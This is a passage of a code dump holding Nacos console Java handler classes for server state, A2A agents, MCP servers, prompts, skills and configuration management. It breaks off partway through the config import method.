    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner;\n\nimport com.alibaba.nacos.console.handler.impl.AbstractServerStateHandler;\nimport com.alibaba.nacos.core.service.NacosServerStateService;\nimport org.springframework.stereotype.Service;\n\nimport java.util.Map;\n\n/**\n * Implementation of ServerStateHandler that performs server state operations.\n *\n * @author zhangyukun\n */\n@Service\n@EnabledInnerHandler\npublic class ServerStateInnerHandler extends AbstractServerStateHandler {\n    \n    private final NacosServerStateService stateService;\n    \n    public ServerStateInnerHandler(NacosServerStateService stateService) {\n        this.stateService = stateService;\n    }\n    \n    public Map<String, String> getServerState() {\n        return stateService.getServerState();\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/ai/A2aInnerHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner.ai;\n\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardUpdateForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentListForm;\nimport com.alibaba.nacos.ai.service.a2a.A2aServerOperationService;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardVersionInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentVersionDetail;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.console.handler.ai.A2aHandler;\nimport com.alibaba.nacos.console.handler.ai.EnabledAiHandler;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.inner.EnabledInnerHandler;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Component;\n\nimport java.util.List;\n\n/**\n * A2a inner handler.\n *\n * @author KiteSoar\n */\n@Component\n@EnabledInnerHandler\n@EnabledAiHandler\n@Conditional(ConditionFunctionEnabled.ConditionAiEnabled.class)\npublic class A2aInnerHandler implements A2aHandler {\n    \n    private final A2aServerOperationService a2aServerOperationService;\n    \n    public A2aInnerHandler(A2aServerOperationService a2aServerOperationService) {\n        this.a2aServerOperationService = a2aServerOperationService;\n    }\n    \n    @Override\n    public void registerAgent(AgentCard agentCard, AgentCardForm agentCardForm) throws NacosException {\n        a2aServerOperationService.registerAgent(agentCard, agentCardForm.getNamespaceId(),\n                agentCardForm.getRegistrationType());\n    }\n    \n    @Override\n    public AgentCardDetailInfo getAgentCardWithVersions(AgentForm form) throws NacosException {\n        return a2aServerOperationService.getAgentCard(form.getNamespaceId(), form.getAgentName(), form.getVersion(),\n                form.getRegistrationType());\n    }\n    \n    @Override\n    public void deleteAgent(AgentForm form) throws NacosException {\n        a2aServerOperationService.deleteAgent(form.getNamespaceId(), form.getAgentName(), form.getVersion());\n    }\n    \n    @Override\n    public void updateAgentCard(AgentCard agentCard, AgentCardUpdateForm form) throws NacosException {\n        a2aServerOperationService.updateAgentCard(agentCard, form.getNamespaceId(), form.getRegistrationType(),\n                form.getSetAsLatest());\n    }\n    \n    @Override\n    public Page<AgentCardVersionInfo> listAgents(AgentListForm agentListForm, PageForm pageForm) throws NacosException {\n        return a2aServerOperationService.listAgents(agentListForm.getNamespaceId(), agentListForm.getAgentName(),\n                agentListForm.getSearch(), pageForm.getPageNo(), pageForm.getPageSize());\n    }\n    \n    @Override\n    public List<AgentVersionDetail> listAgentVersions(String namespaceId, String name) throws NacosException {\n        return a2aServerOperationService.listAgentVersions(namespaceId, name);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/ai/McpInnerHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner.ai;\n\nimport com.alibaba.nacos.ai.service.McpServerImportService;\nimport com.alibaba.nacos.ai.service.McpServerOperationService;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportRequest;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportResponse;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportValidationResult;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.console.handler.ai.EnabledAiHandler;\nimport com.alibaba.nacos.console.handler.ai.McpHandler;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.inner.EnabledInnerHandler;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Service;\n\n/**\n * Inner implementation of Mcp handler.\n *\n * @author xiweng.yy\n */\n@Service\n@EnabledInnerHandler\n@EnabledAiHandler\n@Conditional(ConditionFunctionEnabled.ConditionAiEnabled.class)\npublic class McpInnerHandler implements McpHandler {\n    \n    private final McpServerOperationService mcpServerOperationService;\n    \n    private final McpServerImportService mcpServerImportService;\n    \n    public McpInnerHandler(McpServerOperationService mcpServerOperationService,\n                          McpServerImportService mcpServerImportService) {\n        this.mcpServerOperationService = mcpServerOperationService;\n        this.mcpServerImportService = mcpServerImportService;\n    }\n    \n    @Override\n    public Page<McpServerBasicInfo> listMcpServers(String namespaceId, String mcpName, String search, int pageNo,\n            int pageSize) {\n        return mcpServerOperationService.listMcpServerWithPage(namespaceId, mcpName, search, pageNo, pageSize);\n    }\n    \n    @Override\n    public McpServerDetailInfo getMcpServer(String namespaceId, String mcpName, String mcpServerId, String version) throws NacosException {\n        return mcpServerOperationService.getMcpServerDetail(namespaceId, mcpServerId, mcpName, version);\n    }\n    \n    @Override\n    public String createMcpServer(String namespaceId, McpServerBasicInfo serverSpecification,\n            McpToolSpecification toolSpecification, McpEndpointSpec endpointSpecification) throws NacosException {\n        return mcpServerOperationService.createMcpServer(namespaceId, serverSpecification, toolSpecification,\n                endpointSpecification);\n    }\n    \n    @Override\n    public void updateMcpServer(String namespaceId, boolean isPublish, McpServerBasicInfo serverSpecification,\n            McpToolSpecification toolSpecification, McpEndpointSpec endpointSpecification, boolean overrideExisting) throws NacosException {\n        mcpServerOperationService.updateMcpServer(namespaceId, isPublish, serverSpecification, toolSpecification,\n                endpointSpecification, overrideExisting);\n    }\n    \n    @Override\n    public void deleteMcpServer(String namespaceId, String mcpName, String mcpServerId, String version) throws NacosException {\n        mcpServerOperationService.deleteMcpServer(namespaceId, mcpName, mcpServerId, version);\n    }\n    \n    @Override\n    public McpServerImportValidationResult validateImport(String namespaceId, McpServerImportRequest request) throws NacosException {\n        return mcpServerImportService.validateImport(namespaceId, request);\n    }\n    \n    @Override\n    public McpServerImportResponse executeImport(String namespaceId, McpServerImportRequest request) throws NacosException {\n        return mcpServerImportService.executeImport(namespaceId, request);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/ai/PromptInnerHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner.ai;\n\nimport com.alibaba.nacos.ai.form.prompt.PromptForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptHistoryForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelBindForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptListForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptMetadataForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptPublishForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptQueryForm;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaSummary;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVariable;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionSummary;\nimport com.alibaba.nacos.ai.service.prompt.PromptAdminOperationService;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.console.handler.ai.EnabledAiHandler;\nimport com.alibaba.nacos.console.handler.ai.PromptHandler;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.inner.EnabledInnerHandler;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Component;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Prompt inner handler implementation.\n *\n * @author nacos\n */\n@Component\n@EnabledInnerHandler\n@EnabledAiHandler\n@Conditional(ConditionFunctionEnabled.ConditionAiEnabled.class)\npublic class PromptInnerHandler implements PromptHandler {\n    \n    private final PromptAdminOperationService promptOperationService;\n    \n    public PromptInnerHandler(PromptAdminOperationService promptOperationService) {\n        this.promptOperationService = promptOperationService;\n    }\n    \n    @Override\n    public boolean publishPrompt(PromptPublishForm form, String srcUser, String srcIp) throws NacosException {\n        return promptOperationService.publishPromptVersion(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getVersion(),\n                form.getTemplate(),\n                form.getCommitMsg(),\n                form.getDescription(),\n                parseBizTags(form.getBizTags()),\n                parseVariables(form.getVariables()),\n                srcUser,\n                srcIp\n        );\n    }\n    \n    @Override\n    public PromptMetaInfo getPromptMeta(PromptForm form) throws NacosException {\n        return promptOperationService.getPromptMeta(form.getNamespaceId(), form.getPromptKey());\n    }\n    \n    @Override\n    public PromptVersionInfo queryPromptDetail(PromptQueryForm form) throws NacosException {\n        return promptOperationService.queryPromptDetail(\n                form.getNamespaceId(), form.getPromptKey(), form.getVersion(), form.getLabel()\n        );\n    }\n    \n    @Override\n    public boolean bindLabel(PromptLabelBindForm form, String srcUser, String srcIp) throws NacosException {\n        return promptOperationService.bindLabel(\n                form.getNamespaceId(), form.getPromptKey(), form.getLabel(), form.getVersion(), srcUser, srcIp\n        );\n    }\n    \n    @Override\n    public boolean unbindLabel(PromptLabelForm form, String srcUser, String srcIp) throws NacosException {\n        return promptOperationService.unbindLabel(\n                form.getNamespaceId(), form.getPromptKey(), form.getLabel(), srcUser, srcIp\n        );\n    }\n    \n    @Override\n    public boolean deletePrompt(PromptForm form, String srcUser, String srcIp) throws NacosException {\n        return promptOperationService.deletePrompt(form.getNamespaceId(), form.getPromptKey(), srcUser, srcIp);\n    }\n    \n    @Override\n    public Page<PromptMetaSummary> listPrompts(PromptListForm form) throws NacosException {\n        return promptOperationService.listPrompts(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getSearch(),\n                form.getBizTags(),\n                form.getPageNo(),\n                form.getPageSize()\n        );\n    }\n    \n    @Override\n    public Page<PromptVersionSummary> listPromptVersions(PromptHistoryForm form) throws NacosException {\n        return promptOperationService.listPromptVersions(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getPageNo(),\n                form.getPageSize()\n        );\n    }\n    \n    @Override\n    public boolean updatePromptMetadata(PromptMetadataForm form, String srcUser, String srcIp) throws NacosException {\n        return promptOperationService.updatePromptMetadata(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getDescription(),\n                parseBizTags(form.getBizTags()),\n                srcUser,\n                srcIp\n        );\n    }\n    \n    private List<String> parseBizTags(String bizTags) {\n        if (bizTags == null) {\n            return null;\n        }\n        if (bizTags.trim().isEmpty()) {\n            return new ArrayList<>(0);\n        }\n        String[] split = bizTags.split(\",\");\n        List<String> result = new ArrayList<>(split.length);\n        for (String each : split) {\n            if (each != null && !each.trim().isEmpty()) {\n                result.add(each.trim());\n            }\n        }\n        return result;\n    }\n    \n    private List<PromptVariable> parseVariables(String variables) {\n        if (StringUtils.isBlank(variables)) {\n            return null;\n        }\n        return JacksonUtils.toObj(variables, new TypeReference<List<PromptVariable>>() {\n        });\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/ai/SkillInnerHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner.ai;\n\nimport com.alibaba.nacos.ai.form.skills.admin.SkillDetailForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillListForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillUpdateForm;\nimport com.alibaba.nacos.ai.service.skills.SkillOperationService;\nimport com.alibaba.nacos.console.handler.ai.SkillHandler;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillBasicInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.console.handler.ai.EnabledAiHandler;\nimport com.alibaba.nacos.console.handler.impl.inner.EnabledInnerHandler;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Component;\n\n/**\n * Skill inner handler.\n *\n * @author nacos\n */\n@Component\n@EnabledInnerHandler\n@EnabledAiHandler\n@Conditional(ConditionFunctionEnabled.ConditionAiEnabled.class)\npublic class SkillInnerHandler implements SkillHandler {\n    \n    private final SkillOperationService skillOperationService;\n    \n    public SkillInnerHandler(SkillOperationService skillOperationService) {\n        this.skillOperationService = skillOperationService;\n    }\n    \n    @Override\n    public void registerSkill(Skill skill, SkillDetailForm form) throws NacosException {\n        skillOperationService.registerSkill(skill, form.getNamespaceId());\n    }\n    \n    @Override\n    public Skill getSkill(SkillForm form) throws NacosException {\n        return skillOperationService.getSkillDetail(form.getNamespaceId(), form.getSkillName());\n    }\n    \n    @Override\n    public void deleteSkill(SkillForm form) throws NacosException {\n        skillOperationService.deleteSkill(form.getNamespaceId(), form.getSkillName());\n    }\n    \n    @Override\n    public void updateSkill(Skill skill, SkillUpdateForm form) throws NacosException {\n        skillOperationService.updateSkill(skill, form.getNamespaceId());\n    }\n    \n    @Override\n    public Page<SkillBasicInfo> listSkills(SkillListForm skillListForm, PageForm pageForm) throws NacosException {\n        return skillOperationService.listSkills(skillListForm.getNamespaceId(), skillListForm.getSkillName(),\n                skillListForm.getSearch(), pageForm.getPageNo(), pageForm.getPageSize());\n    }\n    \n    @Override\n    public String uploadSkillFromZip(String namespaceId, byte[] zipBytes) throws NacosException {\n        return skillOperationService.uploadSkillFromZip(namespaceId, zipBytes);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/config/ConfigInnerHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner.config;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigDetailInfo;\nimport com.alibaba.nacos.api.config.model.ConfigGrayInfo;\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\nimport com.alibaba.nacos.api.config.model.SameConfigPolicy;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.common.utils.DateFormatUtils;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.common.utils.Pair;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.controller.parameters.SameNamespaceCloneConfigBean;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigMetadata;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.event.ConfigDataChangeEvent;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.service.ConfigChangePublisher;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.listener.ConfigListenerStateDelegate;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoBetaPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.trace.ConfigTraceService;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.config.server.utils.ResponseUtil;\nimport com.alibaba.nacos.config.server.utils.TimeUtils;\nimport com.alibaba.nacos.config.server.utils.YamlParserUtil;\nimport com.alibaba.nacos.config.server.utils.ZipUtils;\nimport com.alibaba.nacos.console.handler.config.ConfigHandler;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.inner.EnabledInnerHandler;\nimport com.alibaba.nacos.core.namespace.repository.NamespacePersistService;\nimport com.alibaba.nacos.plugin.encryption.handler.EncryptionHandler;\nimport com.alibaba.nacos.sys.utils.InetUtils;\nimport jakarta.servlet.ServletException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.http.HttpHeaders;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.CollectionUtils;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.IOException;\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.Set;\nimport java.util.stream.Collectors;\n\n/**\n * Implementation of ConfigHandler for handling internal configuration operations.\n *\n * @author zhangyukun\n */\n@Service\n@EnabledInnerHandler\n@Conditional(ConditionFunctionEnabled.ConditionConfigEnabled.class)\npublic class ConfigInnerHandler implements ConfigHandler {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigInnerHandler.class);\n    \n    private static final String EXPORT_CONFIG_FILE_NAME = \"nacos_config_export_\";\n    \n    private static final String EXPORT_CONFIG_FILE_NAME_EXT = \".zip\";\n    \n    private static final String EXPORT_CONFIG_FILE_NAME_DATE_FORMAT = \"yyyyMMddHHmmss\";\n    \n    private final ConfigInfoPersistService configInfoPersistService;\n    \n    private final ConfigOperationService configOperationService;\n    \n    private final ConfigDetailService configDetailService;\n    \n    private final ConfigListenerStateDelegate configListenerStateDelegate;\n    \n    private final ConfigMigrateService configMigrateService;\n    \n    private NamespacePersistService namespacePersistService;\n    \n    private ConfigInfoBetaPersistService configInfoBetaPersistService;\n    \n    private ConfigInfoGrayPersistService configInfoGrayPersistService;\n\n    /**\n     * Flag to indicate if the table `config_info_beta` exists, which means the old version of table schema is used.\n     */\n    private boolean oldTableVersion;\n    \n    public ConfigInnerHandler(ConfigOperationService configOperationService,\n            ConfigInfoPersistService configInfoPersistService, ConfigDetailService configDetailService,\n            NamespacePersistService namespacePersistService, ConfigInfoBetaPersistService configInfoBetaPersistService,\n            ConfigInfoGrayPersistService configInfoGrayPersistService,\n            ConfigListenerStateDelegate configListenerStateDelegate, ConfigMigrateService configMigrateService) {\n        this.configOperationService = configOperationService;\n        this.configInfoPersistService = configInfoPersistService;\n        this.configDetailService = configDetailService;\n        this.namespacePersistService = namespacePersistService;\n        this.configInfoBetaPersistService = configInfoBetaPersistService;\n        this.configInfoGrayPersistService = configInfoGrayPersistService;\n        this.configListenerStateDelegate = configListenerStateDelegate;\n        this.configMigrateService = configMigrateService;\n        this.oldTableVersion = namespacePersistService.isExistTable(\"config_info_beta\");\n    }\n    \n    @Override\n    public Page<ConfigBasicInfo> getConfigList(int pageNo, int pageSize, String dataId, String group,\n            String namespaceId, Map<String, Object> configAdvanceInfo)\n            throws IOException, ServletException, NacosException {\n        Page<ConfigInfo> result = configInfoPersistService.findConfigInfoLike4Page(pageNo, pageSize, dataId, group,\n                namespaceId, configAdvanceInfo);\n        return transferToConfigBasicInfo(result);\n    }\n    \n    @Override\n    public ConfigDetailInfo getConfigDetail(String dataId, String group, String namespaceId) throws NacosException {\n        ConfigAllInfo configAllInfo = configInfoPersistService.findConfigAllInfo(dataId, group, namespaceId);\n        if (null == configAllInfo) {\n            return null;\n        }\n        return ResponseUtil.transferToConfigDetailInfo(configAllInfo);\n    }\n    \n    @Override\n    public Boolean publishConfig(ConfigForm configForm, ConfigRequestInfo configRequestInfo) throws NacosException {\n        String encryptedDataKeyFinal = configForm.getEncryptedDataKey();\n        if (StringUtils.isBlank(encryptedDataKeyFinal)) {\n            // encrypted\n            Pair<String, String> pair = EncryptionHandler.encryptHandler(configForm.getDataId(),\n                    configForm.getContent());\n            configForm.setContent(pair.getSecond());\n            encryptedDataKeyFinal = pair.getFirst();\n        }\n        return configOperationService.publishConfig(configForm, configRequestInfo, encryptedDataKeyFinal);\n    }\n    \n    @Override\n    public Boolean deleteConfig(String dataId, String group, String namespaceId, String tag, String clientIp,\n            String srcUser) throws NacosException {\n        return configOperationService.deleteConfig(dataId, group, namespaceId, tag, clientIp, srcUser, Constants.HTTP);\n    }\n    \n    @Override\n    public Boolean batchDeleteConfigs(List<Long> ids, String clientIp, String srcUser) {\n        for (Long id : ids) {\n            ConfigInfo configInfo = configInfoPersistService.findConfigInfo(id);\n            if (configInfo == null) {\n                LOGGER.warn(\"[deleteConfigs] configInfo is null, id: {}\", id);\n                continue;\n            }\n            configOperationService.deleteConfig(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant(),\n                    null, clientIp, srcUser, Constants.HTTP);\n        }\n        return true;\n    }\n    \n    @Override\n    public Page<ConfigBasicInfo> getConfigListByContent(String search, int pageNo, int pageSize, String dataId,\n            String group, String namespaceId, Map<String, Object> configAdvanceInfo) throws NacosException {\n        try {\n            Page<ConfigInfo> result = configDetailService.findConfigInfoPage(search, pageNo, pageSize, dataId, group,\n                    namespaceId, configAdvanceInfo);\n            return transferToConfigBasicInfo(result);\n        } catch (Exception e) {\n            String errorMsg = \"serialize page error, dataId=\" + dataId + \", group=\" + group;\n            LOGGER.error(errorMsg, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public ConfigListenerInfo getListeners(String dataId, String group, String namespaceId, boolean aggregation)\n            throws Exception {\n        return configListenerStateDelegate.getListenerState(dataId, group, namespaceId, aggregation);\n    }\n    \n    @Override\n    public ConfigListenerInfo getAllSubClientConfigByIp(String ip, boolean all, String namespaceId,\n            boolean aggregation) {\n        ConfigListenerInfo result = configListenerStateDelegate.getListenerStateByIp(ip, aggregation);\n        result.setQueryType(ConfigListenerInfo.QUERY_TYPE_IP);\n        Map<String, String> configMd5Status = new HashMap<>(100);\n        if (result.getListenersStatus() == null || result.getListenersStatus().isEmpty()) {\n            return result;\n        }\n        Map<String, String> status = result.getListenersStatus();\n        for (Map.Entry<String, String> config : status.entrySet()) {\n            if (!StringUtils.isBlank(namespaceId) && config.getKey().contains(namespaceId)) {\n                configMd5Status.put(config.getKey(), config.getValue());\n                continue;\n            }\n            if (all) {\n                configMd5Status.put(config.getKey(), config.getValue());\n            } else {\n                String[] configKeys = GroupKey2.parseKey(config.getKey());\n                if (StringUtils.isBlank(configKeys[2])) {\n                    configMd5Status.put(config.getKey(), config.getValue());\n                }\n            }\n        }\n        result.setListenersStatus(configMd5Status);\n        return result;\n    }\n    \n    @Override\n    public ResponseEntity<byte[]> exportConfig(String dataId, String group, String namespaceId, String appName,\n            List<Long> ids) throws Exception {\n        List<ConfigAllInfo> dataList = configInfoPersistService.findAllConfigInfo4Export(dataId, group, namespaceId,\n                appName, ids);\n        List<ZipUtils.ZipItem> zipItemList = new ArrayList<>();\n        List<ConfigMetadata.ConfigExportItem> configMetadataItems = new ArrayList<>();\n        for (ConfigAllInfo ci : dataList) {\n            ConfigMetadata.ConfigExportItem configMetadataItem = new ConfigMetadata.ConfigExportItem();\n            configMetadataItem.setAppName(ci.getAppName());\n            configMetadataItem.setDataId(ci.getDataId());\n            configMetadataItem.setDesc(ci.getDesc());\n            configMetadataItem.setGroup(ci.getGroup());\n            configMetadataItem.setType(ci.getType());\n            configMetadataItems.add(configMetadataItem);\n            Pair<String, String> pair = EncryptionHandler.decryptHandler(ci.getDataId(), ci.getEncryptedDataKey(),\n                    ci.getContent());\n            String itemName = ci.getGroup() + Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR + ci.getDataId();\n            zipItemList.add(new ZipUtils.ZipItem(itemName, pair.getSecond()));\n        }\n        ConfigMetadata configMetadata = new ConfigMetadata();\n        configMetadata.setMetadata(configMetadataItems);\n        zipItemList.add(\n                new ZipUtils.ZipItem(Constants.CONFIG_EXPORT_METADATA_NEW, YamlParserUtil.dumpObject(configMetadata)));\n        HttpHeaders headers = new HttpHeaders();\n        String fileName =\n                EXPORT_CONFIG_FILE_NAME + DateFormatUtils.format(new Date(), EXPORT_CONFIG_FILE_NAME_DATE_FORMAT)\n                        + EXPORT_CONFIG_FILE_NAME_EXT;\n        headers.add(\"Content-Disposition\", \"attachment;filename=\" + fileName);\n        return new ResponseEntity<>(ZipUtils.zip(zipItemList), headers, HttpStatus.OK);\n    }\n    \n    @Override\n    public Result<Map<String, Object>> importAndPublishConfig(String srcUser, String namespaceId,\n            SameConfigPolicy policy, MultipartFile file, String srcIp, String requestIpApp) throws NacosException {\n        Map<String, Object> failedData = new HashMap<>(4);\n        if (Objects.isNull(file)) {\n            return Result.failure(ErrorCode.DATA_EMPTY, failedData);\n        }\n        if (StringUtils.isNotBlank(namespaceId) && !NamespaceUtil.isDefaultNamespaceId(namespaceId)\n                && namespacePersistService.tenantInfoCountByTenantId(namespaceId) <= 0) {\n            failedData.put(\"succCount\", 0);\n            return Result.failure(ErrorCode.NAMESPACE_NOT_EXIST, failedData);\n        }\n        \n        List<ConfigAllInfo> 